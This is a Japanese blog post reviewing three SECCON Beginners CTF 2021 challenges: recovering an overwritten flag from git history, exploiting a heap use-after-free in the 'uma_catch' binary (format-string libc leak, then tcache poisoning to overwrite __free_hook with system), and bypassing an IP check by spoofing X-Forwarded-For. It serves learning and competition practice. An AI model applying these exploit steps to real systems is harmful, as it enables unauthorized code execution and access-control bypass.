3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

SECCON Beginners CTF 2021 解けなかった問題を勉強した記録2

Last updated at Posted at 2021-05-25

SECCON Beginners CTF 2021 解けなかった問題を勉強した記録2
悔しさを忘れないために残す
反省なくして,進歩なし

misc 01 git-leak

問題

後輩が誤って機密情報をコミットしてしまったらしいです。ひとまずコミットを上書きして消したからこれで大丈夫ですよね?

どっかで見たな。へじゃぶ

当日の行動

最近覚えたてのアレで

$ git log --all -p flag.txt
fatal: ambiguous argument 'flag.txt': unknown revision or path not in the working tree.
Use '--' to separate paths from revisions, like this:
'git <command> [<revision>...] -- [<file>...]'

ありっ,通用しねー。

復習と反省

反省の結論
ググり方が悪い
「git log 戻す」で検索するとバンバンに出てくる

コミット履歴を見る

# git reflog
e0b545f (HEAD -> master) HEAD@{0}: commit (amend): feat: めもを追加
80f3044 HEAD@{1}: commit (amend): feat: めもを追加
b3bfb5c HEAD@{2}: rebase -i (finish): returning to refs/heads/master
b3bfb5c HEAD@{3}: commit (amend): feat: めもを追加
7387982 HEAD@{4}: rebase -i: fast-forward
36a4809 HEAD@{5}: rebase -i (start): checkout HEAD~2
7387982 HEAD@{6}: reset: moving to HEAD
7387982 HEAD@{7}: commit: feat: めもを追加
36a4809 HEAD@{8}: commit: feat: commit-treeの説明を追加
9ac9b0c HEAD@{9}: commit: change: 順番を変更
8fc078d HEAD@{10}: commit: feat: git cat-fileの説明を追加
d3b47fe HEAD@{11}: commit: feat: fsckを追記する
f66de64 HEAD@{12}: commit: feat: reflogの説明追加
d5aeffe HEAD@{13}: commit: feat: resetの説明を追加
a4f7fe9 HEAD@{14}: commit: feat: git logの説明を追加
9fcb006 HEAD@{15}: commit: feat: git commitの説明追加
6d21e22 HEAD@{16}: commit: feat: git addの説明を追加
656db59 HEAD@{17}: commit: feat: add README.md
c27f346 HEAD@{18}: commit (initial): initial commit

git rebase -i というのがコミット履歴の編集らしい

コミットハッシュから中身のデータを確認する
(まずブランチ見てから,そのtreeを見る)

# git cat-file -p b3bfb5c
tree 2ffbe58a4725879e711a2935a9001a33c901e58c
parent 36a4809f1ae8013432eb52cfd2f9f062a3269499
author task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900
committer task4233 <29667656+task4233@users.noreply.github.com> 1620491811 +0900

feat: めもを追加

# git cat-file -p 2ffbe58a4725879e711a2935a9001a33c901e58c
100644 blob 16290835a0f74ccf30cbf30d791c84392a9dcce6	README.md
100644 blob 62337fdb59ceb048f7da9eaf768923d744930842	note.md

ハズレ。次

# git cat-file -p 7387982
tree a5b6b52f47aba96730ab61471ddcdff864e5dd8c
parent 36a4809f1ae8013432eb52cfd2f9f062a3269499
author task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900
committer task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900

feat: めもを追加

# git cat-file -p a5b6b52f47aba96730ab61471ddcdff864e5dd8c
100644 blob 16290835a0f74ccf30cbf30d791c84392a9dcce6	README.md
100644 blob 4cbb035d2ff072127b4e22919485127d2273e88e	flag.txt    <---
100644 blob 62337fdb59ceb048f7da9eaf768923d744930842	note.md

ビンゴ

# git cat-file -p 4cbb035d2ff072127b4e22919485127d2273e88e
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

別解

git checkout でブランチを切り替える

# ls
note.md  README.md                        <--- 2 file

# git checkout 7387982
M	README.md
M	note.md
Note: checking out '7387982'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b <new-branch-name>

HEAD is now at 7387982 feat: めもを追加

# ls
flag.txt  note.md  README.md             <--- 増えてる

# cat flag.txt 
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

別解2

git reset --hard (戻りたいコミットのコミットコード)

# git reset --hard 7387982
HEAD is now at 7387982 feat: めもを追加

# ls
flag.txt  note.md  README.md

# cat flag.txt
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

この状態からなら前覚えたやついけるかも?

# git log --all -p flag.txt
commit 73879828a8ecac85c705508cdc9398f26c697249 (HEAD -> master)
Author: task4233 <29667656+task4233@users.noreply.github.com>
Date:   Sun May 9 01:35:25 2021 +0900

    feat: めもを追加

diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..4cbb035
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1 @@
+ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

おー,いけた。
これなら編集の過程も見えるはず。

別解3

全てのblobはzlibで圧縮されているので、全てのblobを解凍する
pythonコードは作問者writeupを参照

# python3 git.py 
blob 40ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

pwn 03 uma_catch

問題

ウマを踊らせたりできるアプリケーションです.
うーー(うまきゃっち)
nc uma-catch.quals.beginners.seccon.jp 4101

配布データ

chall
libc-2.27.so
src.c
src.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void catch();
void naming();
void show();
void dance();
void release();
int read_int();

struct hourse {
    char name[0x20];
    void (*dance)();
};

struct hourse *list[10] = {NULL};

int main() {
    int cmd;
    puts("-*-*-*-*-");
    puts("UMA catch");
    puts("-*-*-*-*-");
    puts("");
    puts("Commands");
    puts("1. catch hourse");
    puts("2. naming hourse");
    puts("3. show hourse");
    puts("4. dance");
    puts("5. release hourse");
    puts("6. exit");

    while (1) {
        puts("");
        printf("command?\n> ");
        cmd = read_int();
        switch (cmd) {
            case 1:
                catch();
                break;
            case 2:
                naming();
                break;
            case 3:
                show();
                break;
            case 4:
                dance();
                break;
            case 5:
                release();
                break;
            case 6:
                exit(0);
            default:
                break;
        }
    }
}

int read_int() {
    char buf[0x10];
    buf[read(0, buf, 0xf)] = 0;

    return atoi(buf);
}

void bay_dance() {
    puts(
        "   (\ノ))/)\n"
        "   Y 彡 Y\n"
        "    (● ●)\n"
        "    ∧| |∧\n"
        " _/ (^^) \_\n"
        " L//|  ̄ |\L/\n"
        "   | x |彡\n"
        "   ヽ _ ノ\n"
        "    ||||\n"
        "   〈二)(二〉\n"
    );
    sleep(1);
    puts(
        "   (\ノ))/)\n"
        "   Y彡彡Y\n"
        "   (●)(●) /ヲ\n"
        "   ∧  ∧//\n"
        " _/ |^⌒^| /\n"
        " L//|ヽ二ノ|\n"
        "   | x |彡\n"
        "   ヽ _ ノ\n"
        "    ||||\n"
        "   〈二)(二〉\n"
    );
    sleep(1);
    puts(
        "   (\ノ))/)\n"
        "   Y 彡 Y\n"
        "    (● ●)\n"
        "    ∧| |∧\n"
        " _/ (^^) \_\n"
        " L//|  ̄ |\L/\n"
        "   | x |彡\n"
        "   ヽ _ ノ\n"
        "    ||||\n"
        "   〈二)(二〉\n"
    );
}

void chestnut_dance() {
    puts(
        "   (\ノ))/)\n"
        "   Y彡彡Y\n"
        "   (●)(●) /ヲ\n"
        "   ∧  ∧//\n"
        " _/ |^⌒^| /\n"
        " L//|ヽ二ノ|\n"
        "   | x |彡\n"
        "   ヽ _ ノ\n"
        "    ||||\n"
        "   〈二)(二〉"
    );
    sleep(1);
    puts(
        "   (\ノ))/)\n"
        "   Y 彡 Y\n"
        "    (● ●)\n"
        "    ∧| |∧\n"
        " _/ (^^) \_\n"
        " L//|  ̄ |\L/\n"
        "   | x |彡\n"
        "   ヽ _ ノ\n"
        "    ||||\n"
        "   〈二)(二〉"
    );
    sleep(1);
    puts(
        "   (\ノ))/)\n"
        "   Y 彡 Y\n"
        "    (● ●)\n"
        "    ∧| |∧\n"
        " _/ (^^) \_\n"
        " L//|  ̄ |\L/\n"
        "  ミ| x |\n"
        "   ヽ _ ノ\n"
        "    ||||\n"
        "   〈二)(二〉"
    );
}

void gray_dance() {
    puts(
        "   (\ノ))/)\n"
        "   Y 彡 Y\n"
        "    (● ●)\n"
        "    ∧| |∧\n"
        " _/ (^^) \_\n"
        " L//|  ̄ |\L/\n"
        "  ミ| x |\n"
        "   ヽ _ ノ\n"
        "    ||||\n"
        "   〈二)(二〉\n"
    );
    sleep(1);
    puts(
        "   (\ノ))/)\n"
        "   Y 彡 Y\n"
        "    (● ●)\n"
        "    ∧| |∧\n"
        " _/ (^^) \_\n"
        " L//|  ̄ |\L/\n"
        "   | x |彡\n"
        "   ヽ _ ノ\n"
        "    ||||\n"
        "   〈二)(二〉\n"
    );
    sleep(1);
    puts(
        "   (\ノ))/)\n"
        "   Y彡彡Y\n"
        "   (●)(●) /ヲ\n"
        "   ∧  ∧//\n"
        " _/ |^⌒^| /\n"
        " L//|ヽ二ノ|\n"
        "   | x |彡\n"
        "   ヽ _ ノ\n"
        "    ||||\n"
        "   〈二)(二〉\n"
    );
}

int get_index() {
    printf("index?\n> ");
    return read_int();
}

void show() {
    printf(list[get_index()]->name);
}

void catch() {
    int i = get_index();
    list[i] = malloc(sizeof(struct hourse));
    while (1) {
        printf("color?(bay|chestnut|gray)\n> ");
        char buf[10];
        buf[read(0, buf, 9)] = 0;
        if (strncmp(buf, "bay", 3) == 0) { list[i]->dance = bay_dance; break; }
        if (strncmp(buf, "chestnut", 8) == 0) { list[i]->dance = chestnut_dance; break; }
        if (strncmp(buf, "gray", 4) == 0) { list[i]->dance = gray_dance; break; }
    }
}

void dance() {
    int i = get_index();
    list[i]->dance();
}

void naming() {
    int i = get_index();
    printf("name?\n> ");
    fgets(list[i]->name, 0x20, stdin);
}

void release() {
    free(list[get_index()]);
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

当日の行動

ソース見てbofが無いように思えたので,解けるレベルではないとあきらめました。

復習と反省

脆弱性は本当に見つけられないレベルだったのか?

naming機能

# ./chall
-*-*-*-*-
UMA catch
-*-*-*-*-

Commands
1. catch hourse
2. naming hourse
3. show hourse
4. dance
5. release hourse
6. exit

command?
> 2
index?
> 0
name?
> AAA
Segmentation fault (core dumped)

catchしていないindexを指定するとセグフォする。
では,free後は?

# ./chall
-*-*-*-*-
UMA catch
-*-*-*-*-

Commands
1. catch hourse
2. naming hourse
3. show hourse
4. dance
5. release hourse
6. exit

command?
> 1
index?
> 0
color?(bay|chestnut|gray)
> bay

command?
> 5
index?
> 0

command?
> 2
index?
> 0
name?
> AAA

command?
> 3
index?
> 0
AAA

あるじゃん脆弱性
Use After Free

libc leakは?

writeup登場

あー逃げ続けてきた fsb か。
これってWindowsのマルウェア解析の役に立ちそうにないので,勉強するモチベ上がらんのよね。

gdbでいい感じのindexを探すと,%11$pに__libc_start_main+0xe7があるのがわかるので,これを使います

catch(0)
naming(0, "%11$p")
libc_base = (int(show(0).decode()[2:-1], 16) - 0xe7 - libc.sym['__libc_start_main'])

__libc_start_main+0xe7ってどこにある?
あった
image.png

0000| 0x7fffffffe448 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)

%11$p って何?

スタックアドレス 0x7fffffffe448 とどういう関係?
catch(0)
naming(0, "AAA")
show(0)
を追ってみる。

RAX: 0x555555559260 --> 0x0 

   0x5555555555a3 <catch+45>:	call   0x555555555190 <malloc@plt>
=> 0x5555555555a8 <catch+50>:	mov    rcx,rax
gdb-peda$ x/10xg 0x555555559260
0x555555559260:	0x000000000a414141	0x0000000000000000
0x555555559270:	0x0000000000000000	0x0000000000000000
0x555555559280:	0x0000555555555451	0x0000000000020d81

image.png

gdb-peda$ x/20xg 0x7fffffffe420
0x7fffffffe420:	0x00007fffffffe440	0x00005555555553cf
0x7fffffffe430:	0x00007fffffffe520	0x0000000300000000
0x7fffffffe440:	0x00005555555557f0	0x00007ffff7a03bf7

call 0x555555555150 <printf@plt> の直前だと RSP は
0x7fffffffe420 で
0x7fffffffe448 に近い
スタックの 1から数えて6番目 にいる。
%11$p の 11 がスタックの 11 番目とすると,試行錯誤なのかな?

printf の中でさらにスタックが積まれるかもしれないが,その数が libc-2.27.so ならば 5 と覚えて,printf@plt の時点のスタック距離(この場合6)と5を足して11前後で試行錯誤と覚えておこう。

普通に動かしての試行錯誤はこんな感じ

# ./uma_catch
-*-*-*-*-
UMA catch
-*-*-*-*-

Commands
1. catch hourse
2. naming hourse
3. show hourse
4. dance
5. release hourse
6. exit

command?
> 1
index?
> 0
color?(bay|chestnut|gray)
> bay

command?
> 2
index?
> 0
name?
> %11$p

command?
> 3
index?
> 0
0x7ffff7a03bf7

WaniCTF 2020 pwn 08 heap を勉強した記録でもsatoooon氏が%11を使ってる

リークさせたいアドレス(再掲)

0000| 0x7fffffffe448 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)

リーク結果

[*] leak_addr = 0x7f8c1f3d9bf7
[*] Switching to interactive mode

ASLR無効にしてなかった。
でも末尾 bf7 が同じじゃけ,当たっとる。
%11の謎は未解決だけど,だめなら前後探すってことで,次。


image.png


次に,namingのUAFを使って,tcache poisoningを行います.

release(0)

# nextを__free_hookに書き換える
naming(0, pack(libc_base + libc.sym['__free_hook']))

# このcatchでは,最初のcatch(0)と同じ領域が返ってくる
catch(1)
naming(1, b'sh\0')

# このcatchで__free_hookが返ってくるので,systemに書き換える
catch(2)
naming(2, pack(libc_base + libc.sym['system']))

# このreleaseは,system("sh")と同じ
release(1)

ここは通いなれた道だ。

先生の説明だとnextを__free_hookに書き換えるだが自分としては,
これすると tcache に __free_hook のアドレスがつながるのほうがしっくりくる。

image.png

web 04 json

問題

外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
https://json.quals.beginners.seccon.jp/

nginxのconfファイル
server {
    listen       80;
    listen  [::]:80;
    server_name  localhost;

    location / {
        proxy_pass   http://bff:8080;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }

}
bffのmain
package main

import (
	"bytes"
	"encoding/json"
	"io/ioutil"
	"net"
	"net/http"

	"github.com/gin-gonic/gin"
)

type Info struct {
	ID int `json:"id" binding:"required"`
}

// check if the accessed user is in the local network (192.168.111.0/24)
func checkLocal() gin.HandlerFunc {
	return func(c *gin.Context) {
		clientIP := c.ClientIP()
		ip := net.ParseIP(clientIP).To4()
		if ip[0] != byte(192) || ip[1] != byte(168) || ip[2] != byte(111) {
			c.HTML(200, "error.tmpl", gin.H{
				"ip": clientIP,
			})
			c.Abort()
			return
		}
	}
}

func main() {
	r := gin.Default()
	r.Use(checkLocal())
	r.LoadHTMLGlob("templates/*")

	r.GET("/", func(c *gin.Context) {
		c.HTML(200, "index.html", nil)
	})

	r.POST("/", func(c *gin.Context) {
		// get request body
		body, err := ioutil.ReadAll(c.Request.Body)
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to read body."})
			return
		}

		// parse json
		var info Info
		if err := json.Unmarshal(body, &info); err != nil {
			c.JSON(400, gin.H{"error": "Invalid parameter."})
			return
		}

		// validation
		if info.ID < 0 || info.ID > 2 {
			c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
			return
		}

		if info.ID == 2 {
			c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
			return
		}

		// get data from api server
		req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body))
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to request API."})
			return
		}
		req.Header.Set("Content-Type", "application/json")
		client := new(http.Client)
		resp, err := client.Do(req)
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to request API."})
			return
		}
		defer resp.Body.Close()
		result, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to request API."})
			return
		}

		c.JSON(200, gin.H{"result": string(result)})
	})

	if err := r.Run(":8080"); err != nil {
		panic("server is not started")
	}
}
apiのmain
package main

import (
	"io/ioutil"
	"os"

	"github.com/buger/jsonparser"
	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()

	r.POST("/", func(c *gin.Context) {
		body, err := ioutil.ReadAll(c.Request.Body)
		if err != nil {
			c.String(400, "Failed to read body")
			return
		}

		id, err := jsonparser.GetInt(body, "id")
		if err != nil {
			c.String(400, "Failed to parse json")
			return
		}

		if id == 0 {
			c.String(200, "The quick brown fox jumps over the lazy dog.")
			return
		}
		if id == 1 {
			c.String(200, "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.")
			return
		}
		if id == 2 {
			// Flag!!!
			flag := os.Getenv("FLAG")
			c.String(200, flag)
			return
		}

		c.String(400, "No data")
	})

	if err := r.Run(":8000"); err != nil {
		panic("server is not started")
	}
}

当日の行動

image.png

picoCTF2021 Who are you? で痛い目にあった X-Forwarded-For: を使ってみる。
X-Forwarded-For: 192.168.111.1

image.png

なぜか?いけた。

image.png

Quick brown fox を submit
image.png
image.png
json で { "id":0 } を送ってる

Lorem ipsum を submit
image.png
image.png
json で { "id":1 } を送ってる

Flag を submit
エラーだ
image.png
image.png
json で { "id":2 } を送ってるが,通らない

当日はここまででギブ

復習と反省

まず,X-Forwarded-For:で騙せた理由

X-Forwarded-For:で騙せたのは nginx の設定ミス。
このnginxは,フロントエンドなので,アクセス者に騙されてはいけない。
nginxのconfを確認すると

設定ミス発見
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
本来あるべき姿
        proxy_set_header X-Forwarded-For $remote_addr;
もし,このnginxがロードバランサ等の陰に隠れている場合なら,これでもOk
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

ここから先は作問者writeup頼み

まず,nginxの通信先はconfから

    location / {
        proxy_pass   http://bff:8080;

bffとわかる

問題サーバから入手したデータにbffというディレクトリがあった。
main.goを見ると

		if info.ID == 2 {
			c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
			return
		}

{ "id":2 }でエラーになった部分のコードがある。
It is forbidden to retrieve Flag from this BFF server.のメッセージも見覚えがある。

では,エラーではないときはbffは何をするか

		// get data from api server
		req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body))

apiに飛ばしてる
問題サーバから入手したデータにapiというディレクトリがあった。
main.goを見ると

		if id == 2 {
			// Flag!!!
			flag := os.Getenv("FLAG")
			c.String(200, flag)
			return
		}

id = 2 で flagがとれる

反省
ここまでは当日でも来れたはずだ。
もらったファイルをよく見ないと。
難しい問題だからこそファイルが増える。
そこでいい加減なことをしてたら絶対解けない。
正解までは無理だけど。

正解は二重キーの解釈の差を突くだ。(難しい)
image.png
image.png

ところで bff って何だ?

Backends For Frontends みたいです。

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?